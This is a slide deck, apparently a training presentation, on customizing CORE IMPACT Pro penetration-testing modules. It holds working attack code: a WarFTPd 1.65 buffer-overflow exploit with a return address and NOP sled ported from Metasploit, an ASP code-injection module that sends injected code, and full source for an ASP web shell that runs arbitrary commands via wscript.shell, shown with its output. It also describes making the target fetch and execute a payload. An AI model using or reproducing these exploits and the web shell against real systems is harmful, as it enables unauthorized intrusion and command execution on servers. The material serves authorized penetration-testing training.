

Custom Penetration Testing Techniques

with CORE IMPACT Pro

James Shewmaker
jims@bluenotch.com

Introduction

- Purpose and Methods
 - To get the most out of a pentest
 - Leverage IMPACT Pro's modularity
 - Examples work for services or webapps
- Today's Agenda
 - Customizing existing modules
 - Creating a new exploit module
 - Creating a new payload

Read the Existing Modules

- ❑ Modules are their own documentation
 - Interface in bottom-left tab
 - Normal Modules:
 - ❑ %appdata%\IMPACT\modules\python
 - ❑ So on Vista we have
C:\Users\[username]\AppData\Roaming\
IMPACT\python
 - Exploitlib modules:
%appdata%\IMPACT\Python\Lib\site-
packages\impact
- ❑ Modules->Reload for new .py files

Customizing Warftpd 1.65 Module

- ❑ Warftpd 1.65 Remote exploit module
 - Buffer overflow in USER input string
 - Only enabled for Windows 2000
- ❑ Modifications for Windows XP sp0/1
 - Enable the parameter options
 - Graft in an exploit from Metasploit 3.2
- ❑ Today's goal is to just make it work, not making a perfect exploit

Changing Warftpd 1.65 Exploit (1)

❑ Backup warftp_pass_exploit.py

❑ Edit with notepad

❑ Insert Parameters under "Supported Systems":

```
<li>Windows XP Professional - sp0 (i386)
```

```
    <application name="WarFTPd" majorversion="1"
      minorversion=".65"/>
```

```
</li>
```

```
<li>Windows XP Professional - sp1 (i386)
```

```
    <application name="WarFTPd" majorversion="1"
      minorversion=".65"/>
```

```
</li>
```

Changing Warftpd 1.65 Exploit (2)

❑ Translate from Metasploit's warftpd_165_user.rb

```
'Ret' => 0x71ab1d54 # push esp, ret
#snip
buf = make_nops(600) + payload.encoded
buf[485, 4] = [ target.ret ].pack('V')
send_cmd( ['USER', buf] , false )
```

❑ Which becomes

```
if version == 'XP':
    self.egg['size'] = 600
    self.egg [ 'invalidChars' ] = '\x00\x40\x0d\x0a'
    try:
        self.logHi('Trying custom exploit for XP')
        self.payload='USER
'+'\x90'*485+struct.pack('<L',0x71ab1d54)+'\x90'
*99+self.code()+'\x90'*10+'\r\n'
```

Tips for Customizing Modules

- ❑ Always backup original
- ❑ Browse existing modules for examples
- ❑ Use a debugger on the target
- ❑ Quick: use `self.logHi()` often
- ❑ Better: use supported python debugging tools on the Module:

Python for Windows, WxPython, Winpdb

Sample Banner Grabber Exploit

- Treated as a Remote Network Exploit
 - Not under the webapp area
 - Uses the httpresponse object instead of an open socket
 - Logs and checks for Microsoft in the HTTP Header named "Server"
 - Use this exploit as a template for a custom exploit for a custom application

Banner Grabber snippet

```
# send and HTTP HEAD request

httpsession = httplib.HTTP(host.get_ip(),
    self.targetport)

httpsession.putrequest('HEAD', '/')
httpsession.endheaders()
errcode,errmsg,headers = httpsession.getreply()
self.logMed("(%i) %s" % (errcode, errmsg))

ServerHeader = headers['Server']
self.logMed("Server: %s" % (ServerHeader))
```

Custom Application to Exploit

- ❑ Windows XP Pro SP3 fully patched
 - ❑ ASP page (Wikipedia's CodeInject)
 - ❑ Writes to a flat file the contents of GET Parameter named "username"
 - ❑ Equivalent of an ASP server-side include
 - Actually interprets the text file
 - Therefore vulnerable to ASP injection
- `Server.Execute(localfile)`

Adding to an Existing Exploit

- Edit `simple_banner_grabber.py` ?
 - Better to copy it and edit the new file
 - Must rename several things inside
 - Must select "Reload Modules" for a new module
- Edit `custom_ASP_Server_Execute.py` with notepad
 - Remember to make backup copies
 - Forum and Debugging tools at <http://cs.coresecurity.com>

Edit changes

XMLDATA

- Name, author, brief description, category

Most important:

- classname property
- class module definition

Enable python's URL-safe quoting

```
import urllib
```

More Changes

- ❑ New parameter for filename in `initialize(self)`

```
self.targetfile =  
    self.getParameters().get('file')
```

- ❑ Change HEAD to GET plus filename:

```
httpsession.putrequest('GET', '/' +  
    self.targetfile)
```

- ❑ Change `search_string` variable

```
search_string = "name.?=.\?" + ("(\w+)\?" if search_string else "")
```

Building Second HTTP Request

- ❑ Check for valid input fieldname to inject into

```
getparameter=regexresults.group(1)
self.logHi("Found first GET parameter
named "+getparameter)
```

- ❑ Payload written in HTML/ASP

```
codetoinject = urllib.quote('<%
response.write(time()) %>')
codetoinject += urllib.quote('<%
response.write(" OWNED<hr>!") %>')
```

Sending Second HTTP Request

- ❑ Mimic First request, but this time

```
httpsess.putrequest('GET', '/' +  
    self.targetfile + '?' +  
    getparameter + '=' +  
    codetoinject)
```

- ❑ Finally: Second Response

```
file = httpsess.getfile()  
ServerResponse = file.read()  
self.logHi(ServerResponse)
```

More than Guest Web developer

- ❑ So far we can write our own ASP code
 - Read/Write files
 - Execute commands
- ❑ Let's build a better payload
 - Make the ASP fetch and exec from us
 - ❑ Unsupported tightvnc module
 - ❑ Normal Impact agent
 - Include a new custom payload
 - ❑ Sky's the limit . . .

Custom Payload

- Build on what you know
 - So far we can write and execute ASP
 - Bulky <http://aspshell.sourceforge.net>
- Create ASP custom payload
 - Execute and display output to the browser
 - Submit each command and see output

ASP Shell Code (1)

```
<% const Filename = "results.txt"
If Not IsEmpty(Request("command")) Then
  Dim wshell, intReturn
  set wshell =
  server.createobject("wscript.shell")
  intReturn = wshell.run("%comspec% /c " &
  Request("command") & ">
  c:\inetpub\wwwroot\results.txt", 0, True)
  set wshell = nothing
End If %><form>
  <input name="command"
  value="<%=Request("command")%>" />
  <input type="submit" name="submit" />
</form>
```

ASP Shell Code (2)

```
<textarea rows=20 cols=80><%  
    Dim Filepath, FSO, file, TextStream  
    Filepath = Server.MapPath(Filename)  
    set FSO =  
    server.createObject("Scripting.FileSystemObject"  
    )  
    if FSO.FileExists(Filepath) Then  
        set file = FSO.GetFile(Filepath)  
        set TextStream = file.OpenAsTextStream(1,-2)  
  
        Do While Not TextStream.AtEndOfStream  
            Response.write(TextStream.readline &  
vbCRLF)  
        Loop  
    end if %></textarea>
```

http://localhost/aspsh.asp?command=ipconfig&submit=Submit+Query - W...

http://localhost/aspsh.asp?co Live Search

http://localhost/aspsh.asp?com...

Intranet settings are now turned off by default. Intranet settings are less secure than Internet settings. Click for options...

ipconfig Submit Query

```
Windows IP Configuration

Ethernet adapter Local Area Connection 2:

    Connection-specific DNS Suffix  . : bluenotch.net
    IP Address. . . . . : 192.168.13.128
    Subnet Mask . . . . . : 255.255.255.0
```

Internet 100%

Ethical Hacking After Today

- ❑ Ethical Hacking is truly just exceeding original design
- ❑ Putting our ASP remote include into Impact WebApp category
- ❑ Importing WebApp XSS modules to allow client attacks from ASP injects
- ❑ Creating a module shim to use another tool's exploits generically

More Pentesting and Hacking

- ❑ SANS 10% Discount: COINS-JS
- ❑ SANS Security 560 (Network Pentest)
 - Feb 2-7 Atlanta, GA (Bootcamp)
 - May 6-12 Toronto, ON (extra events)
 - Jun 15-20 Sacramento, CA (Bootcamp)
- ❑ SANS Security 504 (Hacking Tech.)
 - Feb 23-27 Edmonton, AB (Bootcamp)
- ❑ SANS Security 401 (Sec. Essentials)
 - Feb 16-20 Los Angeles, CA (Bootcamp)

References and Links

- Core's website

<http://www.coresecurity.com>

- Customer support, forums, etc.

<http://cs.coresecurity.com>

- More free papers and code samples

<http://bluenotch.com/resources>

- Presentation Schedule

<http://bluenotch.com/events>